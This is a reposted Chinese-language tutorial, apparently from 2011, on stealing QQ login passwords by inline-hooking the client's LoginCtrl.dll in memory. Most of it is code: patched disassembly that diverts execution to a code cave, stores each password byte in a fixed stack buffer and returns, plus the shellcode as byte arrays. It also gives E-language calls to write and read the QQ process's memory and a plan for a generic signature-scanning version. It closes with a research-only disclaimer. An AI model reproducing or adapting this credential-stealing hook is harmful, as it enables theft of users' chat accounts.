女王的教室韩版资源:利用HOOK API技术,内存中截获QQ密码

来源:百度文库 编辑:偶看新闻 时间:2024/04/30 17:34:43
利用HOOK API技术,内存中截获QQ密码2011年08月04日 星期四 18:46

列出关键修改代码:
  

014B6DD4    > /43             INC EBX
014B6DD5    . |6A 01          PUSH 1
014B6DD7    . |8BC3           MOV EAX,EBX
014B6DD9    . |0FAFC6         IMUL EAX,ESI
014B6DDC    . |8A4C08 FF      MOV CL,BYTE PTR DS:[EAX+ECX-1]
014B6DE0    . |E9 E5340100    JMP LoginCtr.014CA2CA                //修改点,跳至空白点      
014B6DE5      |90             NOP
014B6DE6      |90             NOP
014B6DE7      |90             NOP
014B6DE8      |90             NOP
014B6DE9      |90             NOP
014B6DEA    > |50             PUSH EAX                                  ; |Arg1
014B6DEB    . |884D D4        MOV BYTE PTR SS:[EBP-2C],CL               ; |
014B6DEE    . |E8 90E00000    CALL LoginCtr.014C4E83                    ; \LoginCtr.014C4E83
014B6DF3    . |8B57 44        MOV EDX,DWORD PTR DS:[EDI+44]
014B6DF6    . |83C4 0C        ADD ESP,0C
014B6DF9    . |8B0A           MOV ECX,DWORD PTR DS:[EDX]
014B6DFB    . |8B72 0C        MOV ESI,DWORD PTR DS:[EDX+C]
014B6DFE    . |8B41 F8        MOV EAX,DWORD PTR DS:[ECX-8]
014B6E01    . |99             CDQ
014B6E02    . |F7FE           IDIV ESI
014B6E04    . |3BD8           CMP EBX,EAX
014B6E06    .^\7C CC          JL SHORT LoginCtr.014B6DD4


014CA2CA    > \52             PUSH EDX        //空白点
014CA2CB    .   BA FFAF1200    MOV EDX,12AFFF
014CA2D0    .   03D3           ADD EDX,EBX
014CA2D2    .   36:880A        MOV BYTE PTR SS:[EDX],CL
014CA2D5    .   5A             POP EDX
014CA2D6    .   8D45 D4        LEA EAX,DWORD PTR SS:[EBP-2C]   ;修改处原代码
014CA2D9    .   50             PUSH EAX
014CA2DA    .   8D85 58FFFFFF LEA EAX,DWORD PTR SS:[EBP-A8]    
014CA2E0    .^ E9 05CBFEFF    JMP LoginCtr.014B6DEA

      大家还记得我以前写得HOOK API系列文章吗?两者原理基本上差不多,都是修改程序得执行顺序,嵌

入我们自己得代码来达到目的得!

        我们现来看下基本原理,这要感谢open[xgc]大侠,他调试QQ程序跟踪密码发现QQ程序执行到

LoginCtrl.dll偏移16DE0h处时,CL里放的就是QQ密码了:

           014B6DDC     . |8A4C08 FF      MOV CL,BYTE PTR DS:[EAX+ECX-1]

     我们要做的就是修改偏移16DE0h处开始的代码,做保存QQ密码的工作,说下构思:

1.写一个跳转指令,JMP 00XXXX,跳到我们自己的代码,不足用NOP补,实际代码如下:

                 JMP 014CA2CA ,NOP,NOP,NOP,NOP

在易语言里是这样的:

      跳转指令 = { 233, 229, 52, 1, 0, 144, 144, 144, 144, 144 }


2.找一个空白代码区(这里是014CA2CA),写于我们的代码,我们的代码要实现下面几个功能:

      <1>保存密码

         我们用以下代码完成

               PUSH EDX        ;我们后面要用到,先备份
              MOV EDX,12AFFF ;
               ADD EDX,EBX
              MOV BYTE PTR SS:[EDX],CL    ;实际密码到保存到12B000(12AFFF+1,十进制为1224704)处
              POP EDX          ;还原QQ原执行数据

12AFFF处是事先找到的空白区,注意:QQ密码是16h字节长的,我们事先要在这里写入22字节长的空白字节:

          写内存数据_ (QQ进程句柄, 1224704, 取空白字节集 (22), 22, 0)

<2>模拟QQ代码

        我们之前写 跳转指令修改了QQ的原执行代码,这里要模拟执行,不然就出错了

              LEA EAX,DWORD PTR SS:[EBP-2C]  
              PUSH EAX
              LEA EAX,DWORD PTR SS:[EBP-A8]

   <3>返回到原处继续执行,代码如下:

        JMP 014B6DEA

    014B6DEA不多说了吧,紧接着 跳转指令后的。

在易语言里这些代码换成十进制的就是:

写入代码 = { 82, 186, 255, 175, 18, 0, 3, 211, 54, 136, 10, 90, 141, 69, 212, 80, 141, 133, 88, 255, 255, 255, 233, 5, 203, 254, 255 }

3.读取QQ密码

这个简单:

.局部变量 QQ密码, 字节集


     QQ密码 = 取空白字节集 (22)
    读内存数据_ (QQ进程句柄, 1224704, QQ密码, 22, 0)


核心的地方就这些了,其它具体的大家看源码吧,我就不多说了。当然大家可以发挥发辉,优化下代码,就像combojiang说的:

1. 找到模块LoginCtrl.dll基地址后,在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
        0x8A4C08FF,找到后,便找到了
01966DDC     8A4C08 FF        |mov      cl, byte ptr [eax+ecx-1]。其地址加1的位置就跳转指令的起始地址,为了方便描述,我们成为Address1.

2。查找模块空隙,还是在在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
    0000 0000,找到后,便找到了空隙位置。为了方便描述,我们成为Address2.

3. 将Address1开始的10个子节拷贝出来,并把该处替换为跳转到Address2的跳转指令和nop填充这10个字节。
01966DE0     8D45 D4          |lea      eax, dword ptr [ebp-2C]
01966DE3     50                   |push     eax
01966DE4     8D85 58FFFFFF    |lea      eax, dword ptr [ebp-A8]

4。在address2处,将截获密码的处理程序写入,并在最后写入原address1拷贝出来的10个字节指令,然后填写一个跳转到Address1+10的jmp指令。

这样,基本就算是一个通用版本的密码截获器了。            

程序图片如下:


易语言代码如下:

             本文旨在技术研究,请勿用于非法用途,后果自负!